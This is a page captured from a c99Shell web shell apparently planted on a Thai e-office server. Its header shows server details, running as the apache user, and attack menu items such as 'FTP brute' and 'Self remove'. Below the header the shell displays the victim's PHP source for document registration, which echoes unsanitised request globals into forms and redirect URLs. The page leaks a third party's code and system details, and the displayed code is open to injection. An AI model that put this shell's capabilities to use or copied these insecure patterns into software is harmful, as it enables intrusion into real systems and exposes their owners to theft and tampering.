!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processRegisterDoc.php (36.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsSysConfig.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsSysConfig.php";
include_once 
"../class/clsDocForSign.php";
include_once 
"funct.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDt1 = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oDatt3 = new Docattatches($oC);
$oDatt1 = new Docattatches($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oRd = new runningdoc($oC);
$oRd1 = new runningdoc($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oSys = new sysConfig($oC);
$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oSys = new sysConfig($oC);
$oDfs = new DocForSign($oC);

$oSys->SearchByKey($free);
$oSys->GetRecord();

if(
$method=="showDoc"){ //select type doc
?>
        <script language="JavaScript">
        parent.location.href ="addRegisDoc.php?RsID=<? echo $RsID;?>&DtID=<? echo $DtID?>";
        </script>
<?
}else if($method=="registerDoc"){ 
    
//---------check DocNo-------------------------
    
$check=$oDoc1->CheckDocNo(th2a($DocNo));
    
    if((
$check!=&& $check!='') && ($RsID==&& $DtID==1) && ($checkDocNoex!="1")){
    
?>
                <form  METHOD="POST" action="addRegisDoc.php">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="DocfCir" id="DocfCir"  value="<? echo $DocfCir?>">
                <input type="hidden" name="DocNo" id="DocNo"  value="<? echo $DocNo?>">
                <input type="hidden" name="DocDate" id="DocDate"  value="<? echo $DocDate?>">
                <input type="hidden" name="DocSubject" id="DocSubject" value="<? echo $DocSubject?>">
                <input type="hidden" name="DocFrom" id="DocFrom"  value="<? echo $DocFrom?>">
                <input type="hidden" name="DocTo"  id="DocTo"  value="<? echo $DocTo?>">
                <input type="hidden" name="CertificatePs"  id="CertificatePs"  value="<? echo $CertificatePs?>">
                <input type="hidden" name="DocRef"  id="DocRef"  value="<? echo $DocRef?>">
                <input type="hidden" name="DocOther" id="DocOther"  value="<? echo $DocOther?>">
                <input type="hidden" name="DslID" id="DslID"  value="<? echo $DslID?>">
                <input type="hidden" name="DclID" id="DclID"  value="<? echo $DclID?>">
                <input type="hidden" name="DocShortDesc" id="DocShortDesc"  value="<? echo $DocShortDesc?>">
                <input type="hidden" name="fDelete" id="fDelete"  value="<? echo $fDelete?>">
                <input type="hidden" name="endDoc" id="endDoc" value="<? echo $endDoc?>">
                <input type="hidden" name="DocforSign"  id="DocforSign"  value="<? echo $DocforSign?>">
                <input type="hidden" name="DrsSendToPs" id="DrsSendToPs"  value="<? echo $DrsSendToPs?>">
                <input type="hidden" name="DocRefAns"  id="DocRefAns"  value="<? echo $DocRefAns?>">
                <input type="hidden" name="DocRefAnsID" id="DocRefAnsID"  value="<? echo $DocRefAnsID?>">
                <input type="hidden" name="checkDocNoex" id="checkDocNoex"  value="1">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
                <input type="hidden" name="DocTelOwner" id="DocTelOwner"  value="<? echo $DocTelOwner?>">
                <input type="hidden" name="DocSendReal" id="DocSendReal"  value="<? echo $DocSendReal?>">
                <input type="hidden" name="DocDeptOwner" id="DocDeptOwner"  value="<? echo $DocDeptOwner?>">
                <input type="hidden" name="DocPhoneOwner" id="DocPhoneOwner"  value="<? echo $DocPhoneOwner;?>">
                <input type="hidden" name="DocFaxOwner" id="DocFaxOwner"  value="<? echo $DocFaxOwner?>">
                <input type="hidden" name="DocCopySend" id="DocCopySend"  value="<? echo $DocCopySend?>">
                <input type="hidden" name="DocContactE" id="DocContactE"  value="<? echo $DocContactE?>">
                </form>
                <script>alert("ที่หนังสือนี้เคยถูกลงทะเบียนไปแล้ว\nหากต้องการลงทะเบียนหนังสือซ้ำให้กดปุ่มลงทะเบียนอีกครั้ง\nถ้าไม่ต้องการลงทะเบียนให้ทำการยกเลิกการลงทะเบียน");</script>
            <?    echo "<body onload=\"document.forms[0].submit();\">";
        
    }else{   
    
//---------------------------------------------------

            
$flagCommit true;
            
$checkflagCommit="0";
            
$oC->BeginTrans(); 

            
//if($useDocRegisfromCenter!='Y'){
                    //---------check running
                    
$oDt1->SearchByKey($DtID);
                    
$oDt1->GetRecord();
                    if(
$oDt1->DtRunAll=="N"){
                        
$oRd1->SearchRunningGetNodocNoMixN($DocGroup,$DtID,$deptId);
                        
$oRd1->GetRecord();
                        
$rNo=$oRd1->receiveNo;
                        
$sNo=$oRd1->sendNo;
                        
$reNo=$oRd1->regisNo;
                    }else if(
$oDt1->DtRunAll=="Y"){
                        if(
$oSys->useDocTypeNoMix=='N'){  
                            
$oRd1->SearchRunningGetNodocNoMixN($DocGroup,$DtID,$deptId);
                            
$oRd1->GetRecord();        
                        }else{
                            
$oRd1->SearchRunningGetNodocNoMixY($DocGroup,$DtID);
                            
$oRd1->GetRecord();        
                        }
                        
                        
$rNo=$oRd1->receiveNo;
                        
$sNo=$oRd1->sendNo;
                        
$reNo=$oRd1->regisNo;
                    }
                    if(
$RsID=="1" || $RsID=="3"){ //receiveOut //receiveIn
                        
if($DocTypeNo<=$rNo){  $errorRunning=1; }else{ $errorRunning=""; }
                    }else if(
$RsID=="2" || $RsID=="4"){ //sendOut //sendIn
                        
if($DocTypeNo<=$sNo){ $errorRunning=1; }else{ $errorRunning=""; }
                    }else if(
$RsID=="5"){ //regisDoc
                        
if($DocTypeNo<=$reNo){ $errorRunning=1; }else{ $errorRunning=""; }
                    }
            
//}
            

     
if($errorRunning==""){             
                
//--------------add documents
                
$oDoc->AddNew();
                
$oDoc->DocID=$oDoc->GetNextCode();
                
$e=$oDoc->GetNextCode();
                
$oDoc->DlcID=$DlcID;
                
$oDoc->PtID=$PtID;
                
$oDoc->DtID=$DtID;
                
$oDoc->DslID=$DslID;
                
$oDoc->DclID=$DclID;
                
$oDoc->DsID=1;
                
$oDoc->RsID=$RsID;
                
$timeDocDateCreate=getNowDateTh()." ".date('H:i:s');
                
$oDoc->DocDateCreate=$timeDocDateCreate;
                
$DocDateCreate=$oDoc->DocDateCreate;
                
$oDoc->DocUserCreate=$personId;
                
$oDoc->DocTypeNo=$DocTypeNo;
                
$oDoc->DocDate=splitDateForm($DocDate,"/");
                
$oDoc->DocNo=$DocNo;
                
$oDoc->DocSubject=$DocSubject;
                
$oDoc->DocFrom=$DocFrom;
                
$oDoc->DocTo=$DocTo;
                
$oDoc->DocShortDesc=$DocShortDesc;
                
$oDoc->DocSpeedLevelDueDate=$DocSpeedLevelDueDate;
                
$oDoc->DocStart=$DocStart;
                
$oDoc->DocFinish=$DocFinish;
                
$oDoc->DocGroup=$DocGroup;
                
$oDoc->DocRef=$DocRef;
                
$oDoc->DocCircular=$DocCircular;
                if(
$DocfCir=="Y"){  $DocfCir_="Y";  }else{ $DocfCir_="N";  }
                
$oDoc->DocfCir=$DocfCir_;
                
$oDoc->DocOther=$DocOther;
                
$oDoc->CertificatePs=$CertificatePs;
                
$oDoc->fDelete=$fDelete;
                
$oDoc->endDoc=$endDoc;
                if(
$DrsSendToPs=="Y"){  $sendToPs_="Y";  }else{ $sendToPs_="N";  }
                
$oDoc->sendToPs=$sendToPs_;
                
$oDoc->AnID=$AnID;
                
$oDoc->DocRefAns=$DocRefAns;
                
$oDoc->DocRefAnsID=$DocRefAnsID;
                if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                
$oDoc->useMainDocNo=$useMainDocNo;
                if(
$DocforSign=="Y"){  $useDocforSign="Y";  }else{ $useDocforSign="N";  }
                
$oDoc->DocforSign=$useDocforSign;
                
$oDoc->DocTelOwner=$DocTelOwner;
                
$oDoc->DocSendReal=$DocSendReal;
                
$oDoc->DocDeptOwner=$DocDeptOwner;
                
$oDoc->DocFaxOwner=$DocFaxOwner;
                
$oDoc->DocCopySend=$DocCopySend;
                
$oDoc->DocContactE=$DocContactE;

                
$flagCommit $oDoc->Save();
                if(!
$flagCommit){ $checkflagCommit="1"; }
                
                
//-----add DrsDocReceiveDate
                
if($DocRefAnsID!=''){
                    
$oRs1->SearchByDocIDStatus3register($DocRefAnsID);
                    
$oRs1->GetRecord();
                    
$oRs2->SearchByDrsFromDrsIDDocIDDrsMainPsYDrsID($oRs1->DrsID,$DocRefAnsID);
                    while(
$oRs2->GetRecord()){    
                        
$flagCommit $oRs3->DocReceiveUpdateDocRefAnsDate($oRs2->DrsID,$timeDocDateCreate);
                        if(!
$flagCommit){ $checkflagCommit="1"; }
                    }
                }
                    
                
//---------------add DocReceiveSend
                
$oRs->AddNew();
                
$oRs->DrsID=$oRs->GetNextCode();
                
$oRs->DocID=$e;
                
$oRs->DlcID=$DlcID;
                
$oRs->DsID=1;
                
$oRs->DrsDocTypeNo=$DocTypeNo;
                
$oRs->DrsReceiveDate=$DocDateCreate;
                
$oRs->DrsReceivePersonId=$personId;
                
$oRs->DrsSendDate=$DrsSendDate;
                
$oRs->DrsSendPersonId=$DrsSendPersonId;
                
$oRs->DrsSendDlcID=$DrsSendDlcID;
                
$oRs->DrsDlcIDCreate=$DlcID;
                
$oRs->DrsPsIDCreate=$personId;
                
$oRs->DrsPropose=$DrsPropose;
                
$oRs->DrsSign=$DrsSign;
                
$oRs->DrsFromDrsID=$DrsFromDrsID;
                
$oRs->DocGroup=$DocGroup;    
                
$flagCommit $oRs->Save();
                if(!
$flagCommit){ $checkflagCommit="1"; }
            

                
//if($useDocRegisfromCenter!='Y'){
                        //--------update running doc
                        
if($RsID=="1"){ //receiveOut
                                
if(($DtID=="1" || $DtID=="2" || $DtID=="3" || $DtID=="14" || $DtID=="15") && ($oSys->useDocTypeNoMix=='N')){  
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixN($DocGroup,$DtID,$deptId);
                                    
$oRd->GetRecord();        
                                }else{
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixY($DocGroup,$DtID);
                                    
$oRd->GetRecord();        
                                }                
                                
$oRd->Edit();
                                
$oRd->receiveNo=$DocTypeNo;
                                
$flagCommit $oRd->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }
                        }else if(
$RsID=="2"){ //sendOut
                                
if(($DtID=="1" || $DtID=="2" || $DtID=="3" || $DtID=="14" || $DtID=="15") && ($oSys->useDocTypeNoMix=='N')){  
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixN($DocGroup,$DtID,$deptId);
                                    
$oRd->GetRecord();        
                                }else{
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixY($DocGroup,$DtID);
                                    
$oRd->GetRecord();        
                                }
                                
$oRd->Edit();
                                
$oRd->sendNo=$DocTypeNo;
                                
$flagCommit $oRd->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }    
                        }else if(
$RsID=="3"){ //receiveIn
                                
                                
if($DtID=="3" || $DtID=="15"){
                                        
$oRd->SearchRunningBydocGroupDtIDfunctDeptdocNoMixN2($DocGroup,$DtID,$deptId);
                                        
$oRd->GetRecord();
                                }else{
                                        
$oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID);
                                        
$oRd->GetRecord();
                                }            
                                
                                
                                
$oRd->Edit();
                                
$oRd->receiveNo=$DocTypeNo;
                                
$flagCommit $oRd->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }
                        }else if(
$RsID=="4"){ //sendIn
                                
if($DtID=="3" || $DtID=="15"){
                                        
$oRd->SearchRunningBydocGroupDtIDfunctDeptdocNoMixN2($DocGroup,$DtID,$deptId);
                                        
$oRd->GetRecord();
                                }else{
                                        
$oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID);
                                        
$oRd->GetRecord();
                                }                    
                                
                                
$oRd->Edit();
                                
$oRd->sendNo=$DocTypeNo;
                                
$oRd->confirm=$oRd->confirm;
                                
$flagCommit $oRd->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }    
                        }else if(
$RsID=="5"){ //sendIn
                                
$oDt->SearchByKey($DtID);
                                
$oDt->GetRecord();
                                
/*
                                if($oDt->DtRunAll=="N"){
                                        $oRd->SearchRunningBydocGroupDtIDDept($DocGroup,$DtID,$deptId);
                                        $oRd->GetRecord();
                                }else{
                                        $oRd->SearchRunningBydocGroupDtID($DocGroup,$DtID);
                                        $oRd->GetRecord();
                                }
                                */
                                
if($oSys->useDocTypeNoMix=='N'){  
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixN($DocGroup,$DtID,$deptId);
                                    
$oRd->GetRecord();        
                                }else{
                                    
$oRd->SearchRunningBydocGroupDtIDdocNoMixY($DocGroup,$DtID);
                                    
$oRd->GetRecord();        
                                }                        
                                
$oRd->Edit();
                                
$oRd->regisNo=$DocTypeNo;
                                
$flagCommit $oRd->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }
                        }        
                
//} //$useDocRegisfromCenter!='Y'

            
if($checkflagCommit=="0"){
                
$oC->CommitTrans();
                    
//if($useDocRegisfromCenter=='Y'){
                        //****************send regis doc to center ***************
                        //GetDocRegisNofromCenter($selectdocregis,$RegisterName,$RegisterYear,$e,$DlcID,$personId);
                    //}


            
}else{
                
$oC->RollbackTrans();
            }

        echo 
"<meta http-equiv='refresh' content='0; URL=editRegisDoc.php?RsID=$RsID&DtID=$DtID&DocID=$e'>";
     }else if(
$errorRunning=="1"){
        
?>
                <form  METHOD="POST" action="addRegisDoc.php">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DtID"  id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="DocID" id="DocID"  value="<? echo $DocID?>">
                <input type="hidden" name="DocfCir" id="DocfCir"  value="<? echo $DocfCir?>">
                <input type="hidden" name="DocNo"  id="DocNo"  value="<? echo $DocNo?>">
                <input type="hidden" name="DocDate"  id="DocDate"  value="<? echo $DocDate?>">
                <input type="hidden" name="DocSubject"  id="DocSubject"  value="<? echo $DocSubject?>">
                <input type="hidden" name="DocFrom" id="DocFrom"  value="<? echo $DocFrom?>">
                <input type="hidden" name="DocTo" id="DocTo"  value="<? echo $DocTo?>">
                <input type="hidden" name="CertificatePs" id="CertificatePs"  value="<? echo $CertificatePs?>">
                <input type="hidden" name="DocRef"  id="DocRef" value="<? echo $DocRef?>">
                <input type="hidden" name="DocOther" id="DocOther"  value="<? echo $DocOther?>">
                <input type="hidden" name="DslID"   id="DslID"  value="<? echo $DslID?>">
                <input type="hidden" name="DclID" id="DclID"  value="<? echo $DclID?>">
                <input type="hidden" name="DocShortDesc" id="DocShortDesc"  value="<? echo $DocShortDesc?>">
                <input type="hidden" name="fDelete"  id="fDelete"  value="<? echo $fDelete?>">
                <input type="hidden" name="endDoc" id="endDoc"  value="<? echo $endDoc?>">
                <input type="hidden" name="DocforSign" id="DocforSign"  value="<? echo $DocforSign?>">
                <input type="hidden" name="DrsSendToPs" id="DrsSendToPs"  value="<? echo $DrsSendToPs?>">
                <input type="hidden" name="DocRefAns"   id="DocRefAns"  value="<? echo $DocRefAns?>">
                <input type="hidden" name="DocRefAnsID"  id="DocRefAnsID"  value="<? echo $DocRefAnsID?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
                <input type="hidden" name="DocTelOwner" id="DocTelOwner"  value="<? echo $DocTelOwner?>">
                <input type="hidden" name="DocSendReal" id="DocSendReal"  value="<? echo $DocSendReal?>">
                <input type="hidden" name="DocDeptOwner" id="DocDeptOwner"  value="<? echo $DocDeptOwner?>">
                <input type="hidden" name="DocPhoneOwner" id="DocPhoneOwner"  value="<? echo $DocPhoneOwner;?>">
                <input type="hidden" name="DocFaxOwner" id="DocFaxOwner"  value="<? echo $DocFaxOwner?>">
                <input type="hidden" name="DocCopySend" id="DocCopySend"  value="<? echo $DocCopySend?>">
                <input type="hidden" name="DocContactE" id="DocContactE"  value="<? echo $DocContactE?>">
                </form>
                <script> alert("เลขทะเบียน <?  echo $DocTypeNo?>     มีการใช้งานแล้ว \nกรุณาแก้ไขข้อมูลการลงทะเบียน\nโดยใช้เลขทะเบียนตัวถัดไป"); </script>
            <?    echo "<body onload=\"document.forms[0].submit();\">";
     } 
//check running<br>

    
//check DocNo
}else if($method=="editRegisterDoc"){
    
$flagCommit true;
    
$checkflagCommit="0";
    
$oC->BeginTrans(); 
//echo "editRegisterDoc";
    //--------------edit documents
    
$oDoc->SearchByKey($DocID);
    if(
$oDoc->GetRecord()=="1"){
                if(
$oDoc->DsID=="1"){  //can edit case normal
                                
$oDoc->Edit();
                                
$oDoc->DlcID=$DlcID;
                                
//echo "DlcID=".$oDoc->DlcID."<br>";
                                
$oDoc->DtID=$DtID;
                                
//echo "DtID=".$oDoc->DtID."<br>";
                                
$oDoc->DslID=$DslID;
                                
//echo "DslID=".$oDoc->DslID."<br>";
                                
$oDoc->DclID=$DclID;
                                
//echo "DclID=".$oDoc->DclID."<br>";
                                
$oDoc->RsID=$RsID;
                                
//echo "RsID=".$oDoc->RsID."<br>";
                                
$DocDateCreate=$oDoc->DocDateCreate;
                                
$oDoc->DocDate=splitDateForm($DocDate,"/");
                                
//echo "DocDate=".$oDoc->DocDate."<br>";
                                
$oDoc->DocNo=$DocNo;
                                
//echo "DocNo=".$oDoc->DocNo."<br>";
                                
$oDoc->DocSubject=$DocSubject;
                                
//echo "DocSubject=".$oDoc->DocSubject."<br>";
                                
$oDoc->DocFrom=$DocFrom;
                                
//echo "DocFrom=".$oDoc->DocFrom."<br>";
                                
$oDoc->DocTo=$DocTo;
                                
//echo "DocTo=".$oDoc->DocTo."<br>";
                                
$oDoc->DocShortDesc=$DocShortDesc;
                                
//echo "DocShortDesc=".$oDoc->DocShortDesc."<br>";
                                
$oDoc->DocRef=$DocRef;
                                
//echo "DocRef=".$oDoc->DocRef."<br>";
                                
$oDoc->DocCircular=$oDoc->DocCircular;
                                if(
$DocfCir=="Y"){  $DocfCir_="Y";  }else{ $DocfCir_="N";  }
                                
$oDoc->DocfCir=$DocfCir_;
                                
//echo "DocfCir=".$oDoc->DocfCir."<br>";
                                
$oDoc->DocOther=$DocOther;
                                
//echo "DocOther=".$oDoc->DocOther."<br>";
                                
$oDoc->endDoc=$endDoc;
                                
//echo "endDoc=".$oDoc->endDoc."<br>";
                                
if($DrsSendToPs=="Y"){  $sendToPs_="Y";  }else{ $sendToPs_="N";  }
                                
$oDoc->sendToPs=$sendToPs_;
                                
$oDoc->DocRefAns=$DocRefAns;
                                
                                if(
$oDoc->DocRefAnsID!=$DocRefAnsID){
                                    
//---clear DrsDocReceiveDate
                                    
$oRs1->SearchByDocIDStatus3register($oDoc->DocRefAnsID);
                                    
$oRs1->GetRecord();
                                    
//echo "<br>oRs1->DrsID=".$oRs1->DrsID;
                                    
$oRs2->SearchByDrsFromDrsIDDocIDDrsMainPsYDrsID($oRs1->DrsID,$oDoc->DocRefAnsID);
                                    while(
$oRs2->GetRecord()){
                                        
$flagCommit $oRs3->DocReceiveUpdateDocRefAnsDate($oRs2->DrsID,"0000-00-00 00:00:00");
                                        if(!
$flagCommit){ $checkflagCommit="1"; }
                                    }
                                
                                    
//-----edit DrsDocReceiveDate
                                    
$oRs1->SearchByDocIDStatus3register($DocRefAnsID);
                                    
$oRs1->GetRecord();
                                    
//echo "<br>oRs1->DrsID=".$oRs1->DrsID;
                                    
$oRs2->SearchByDrsFromDrsIDDocIDDrsMainPsYDrsID($oRs1->DrsID,$DocRefAnsID);
                                    while(
$oRs2->GetRecord()){    
                                        
$flagCommit $oRs3->DocReceiveUpdateDocRefAnsDate($oRs2->DrsID,$oDoc->DocDateCreate);
                                        if(!
$flagCommit){ $checkflagCommit="1"; }
                    
                    
                                    }
                                }
//-$oDoc->DocRefAnsID!=$DocRefAnsID
                                
$oDoc->DocRefAnsID=$DocRefAnsID;
                                if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                                    
$oDoc->useMainDocNo=$useMainDocNo;
                                if(
$DocforSign=="Y"){  $useDocforSign="Y";  }else{ $useDocforSign="N";  }
                                    
$oDoc->DocforSign=$useDocforSign;
                                    
$oDoc->DocTelOwner=$DocTelOwner;
                                    
$oDoc->DocSendReal=$DocSendReal;    
                                    
                                    
$oDoc->DocDeptOwner=$DocDeptOwner;
                                    
$oDoc->DocFaxOwner=$DocFaxOwner;
                                    
$oDoc->DocCopySend=$DocCopySend;
                                    
$oDoc->DocContactE=$DocContactE;
                                
$flagCommit $oDoc->Save();
                                if(!
$flagCommit){ $checkflagCommit="1"; }    
                }  
//can ecdit
    
}
        
    if(
$checkflagCommit=="0")
        
$oC->CommitTrans();
    else
        
$oC->RollbackTrans();        
    echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?RsID=$oDoc->RsID&DtID=$oDoc->DtID&P=$P&folderstaff2=$folderstaff2&forfolderstaff2=$forfolderstaff2    &searchPreName=$searchPreName&searchPreNo=$searchPreNo&searchPreTypeNoF=$searchPreTypeNoF&searchPreTypeNoT=$searchPreTypeNoT&selectdocdatevalue=3'>";
}else if(
$method=="editRegisterDocforsign"){
//echo "editRegisterDoc";
    //--------------edit documents
    
$oDoc->SearchByKey($DocID);
    if(
$oDoc->GetRecord()=="1"){
            
$oDoc->Edit();
            
$oDoc->DslID=$DslID;
            
//echo "DslID=".$oDoc->DslID."<br>";
            
$oDoc->DclID=$DclID;
            
//echo "DclID=".$oDoc->DclID."<br>";
            
$oDoc->DocDate=splitDateForm($DocDate,"/");
            
//echo "DocDate=".$oDoc->DocDate."<br>";
            
$oDoc->DocSubject=$DocSubject;
            
//echo "DocSubject=".$oDoc->DocSubject."<br>";
            
$oDoc->DocFrom=$DocFrom;
            
//echo "DocFrom=".$oDoc->DocFrom."<br>";
            
$oDoc->DocTo=$DocTo;
            
//echo "DocTo=".$oDoc->DocTo."<br>";
            
$oDoc->DocShortDesc=$DocShortDesc;
            
//echo "DocShortDesc=".$oDoc->DocShortDesc."<br>";                
            
$oDoc->Save();    
        } 

            
//$oDoc2->SearchByKey($DocID);
            //$oDoc2->GetRecord();
            // if($oDoc2->DocPID=="0" || $oDoc2->DocPID==""){  $searchDoc=$oDoc2->DocID; }else{ $searchDoc=$oDoc2->DocPID; }       
            
$oDfs->SearchByKey($dfID);
            
$oDfs->GetRecord();
            
$oDfs->Edit();
            
$oDfs->statusGet ='Y';
            
$oDfs->getDate=getNowDateTh()." ".date('H:i:s');
            
$oDfs->Psedited=$personId;
            
$oDfs->Save();    
        
        
    echo 
"<meta http-equiv='refresh' content='0; URL=statusDocforSign.php'>";

}else if(
$method=="deleteRegisterDoc"){
//echo "deleteRegisterDoc";
    
$oDoc->SearchByKey($DocID);
    if(
$oDoc->GetRecord()=="1"){
                if(
$oDoc->DsID=="1"){  //can del case normal
                        
$oDoc->Edit();
                        
$oDoc->fDelete="Y";
                        if(
$DrsSendToPs=="Y"){  $sendToPs_="Y";  }else{ $sendToPs_="N";  }
                        
$oDoc->sendToPs=$sendToPs_;
                            if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                            
$oDoc->useMainDocNo=$useMainDocNo;
                        
$oDoc->Save();
                }
        }
    
$searchpredocdate=splitDateForm($searchpredocdate,"/");    
    echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?searchpredocdate=$searchpredocdate&selectpredocdatevalue=$selectpredocdatevalue&folderstaff2=$folderstaff2&forfolderstaff2=$forfolderstaff2&searchPreName=$searchPreName&searchPreNo=$searchPreNo&searchPreTypeNoF=$searchPreTypeNoF&searchPreTypeNoT=$searchPreTypeNoT&selectdocdatevalue=3'>";
}else if(
$method=="deleteRegisterDocAll"){

                    
$str $_POST['store_DrsID_Del'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);                             
                  
                  
//echo '<br>---------------------------------------<br>';
                  
$store_DrsID_Del_exp explode("," ,$reversed_str);
                  
$store_DrsID_Del_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_Del_exp_count=count($store_DrsID_Del_exp);
                  
$checkdoc=0;
                  for(
$j=0$j<$store_DrsID_Del_exp_count;$j++){
                        
$t_id trim($store_DrsID_Del_exp[$j]);
                        if(
strlen($t_id)==0){
                        
                        }else{
                            
$oDoc->SearchByKey($t_id);
                            if(
$oDoc->GetRecord()=="1"){
                                        if(
$oDoc->DsID=="1"){  //can del case normal
                                                
$oDoc->Edit();
                                                
$oDoc->fDelete="Y";
                                                if(
$DrsSendToPs=="Y"){  $sendToPs_="Y";  }else{ $sendToPs_="N";  }
                                                
$oDoc->sendToPs=$sendToPs_;
                                                    if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                                                    
$oDoc->useMainDocNo=$useMainDocNo;
                                                
$oDoc->Save();
                                        }
                            }
                        }
                  }

    
$searchpredocdate=splitDateForm($searchpredocdate,"/");    
    echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?searchpredocdate=$searchpredocdate&selectpredocdatevalue=$selectpredocdatevalue&folderstaff2=$folderstaff2&forfolderstaff2=$forfolderstaff2&searchPreName=$searchPreName&searchPreNo=$searchPreNo&searchPreTypeNoF=$searchPreTypeNoF&searchPreTypeNoT=$searchPreTypeNoT'>";
}else if(
$method=="confirmRegisterDocAll"){
    
    echo 
"<br><br><div align=\"center\"><strong>กรุณารอสักครู่ ระบบกำลังดำเนินการลงทะเบียนหนังสือรับรองจำนวน ".$countps." รายการ</strong></div>";
    
$oDt1->SearchByKey($DtID);
    
$oDt1->GetRecord();
    
    
$oSys->RSsysConfig();
    
$oSys->GetRecord();

    
$oDP2->SearchByKey($deptId);
    
$oDP2->GetRecord();
            
    if(
$oDP2->deptLevel!=0){
        
$deptId=SearchdeptIdlevel0($oDP2->deptParentId);
    }
        
    
$oDP->SearchByKey($deptId);
    
$oDP->GetRecord();
/*    
        $oRd->SearchRunningBydocGroupDtID2($DocGroup,$DtID);
        $oRd->GetRecord();
*/
        
if($oSys->useDocTypeNoMix=='N'){  
            
$oRd->SearchRunningBydocGroupDtIDdocNoMixN($DocGroup,$DtID,$deptId);
            
$oRd->GetRecord();        
        }else{
            
$oRd->SearchRunningBydocGroupDtIDdocNoMixY($DocGroup,$DtID);
            
$oRd->GetRecord();        
        }
        
//echo $oRd->regisNo;
        
        
if($oRd->regisNo=="0"){
            
$reNo=$oRd->regisNoStart;
        }else{
            
$reNo=$oRd->regisNo;
        }

        
$oRd->Edit();
        
//$reNo=$oRd->regisNo;
        
$oRd->regisNo=($reNo+$countps);
        
$oRd->Save();
        
        
$UPath=$GLOBALS['path_upload_uploadfile'].$filename;    
        
$fp fopen($UPath"r");
        
$i 1;
        
$timeDocDateCreate=getNowDateTh()." ".date('H:i:s');
        while(!
feof($fp)) {                        
            
$char fgets($fp);
            
$name $char;
            
$DocNo="";
            if(
$name!=""){
             
//echo $name."เลขทะเบียน=".($reNo+$i)."<br>"; 
                
$oDoc->AddNew();
                
$oDoc->DocID=$oDoc->GetNextCode();
                
$e=$oDoc->GetNextCode();
                
$oDoc->DlcID=$DlcID;
                
//echo "DlcID=".$oDoc->DlcID."<br>"; 
                
$oDoc->DtID=$DtID;
                
//echo "DtID=".$oDoc->DtID."<br>"; 
                
$oDoc->DsID=1;
                
$oDoc->RsID=$RsID;
                
//echo "RsID=".$oDoc->RsID."<br>"; 
                
$oDoc->DocDateCreate=$timeDocDateCreate;
                
$DocDateCreate=$oDoc->DocDateCreate;
                
$oDoc->DocUserCreate=$personId;
                
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>"; 
                
$oDoc->DocTypeNo=($reNo+$i);
                
// echo "DocTypeNo=".$oDoc->DocTypeNo."<br>"; 
                
$oDoc->DocDate=splitDateForm($DocDate,"/");
                
// echo "DocDate=".$oDoc->DocDate."<br>"; 
                
                
if($oDt1->sendNoPrefix!=""){
                    
$DocNo=$oDt1->sendNoPrefix;
                }
                if(
$oDt1->sendNoSuffix!=""){
                    
$DocNo=$DocNo.$oDt1->sendNoSuffix;
                }
                
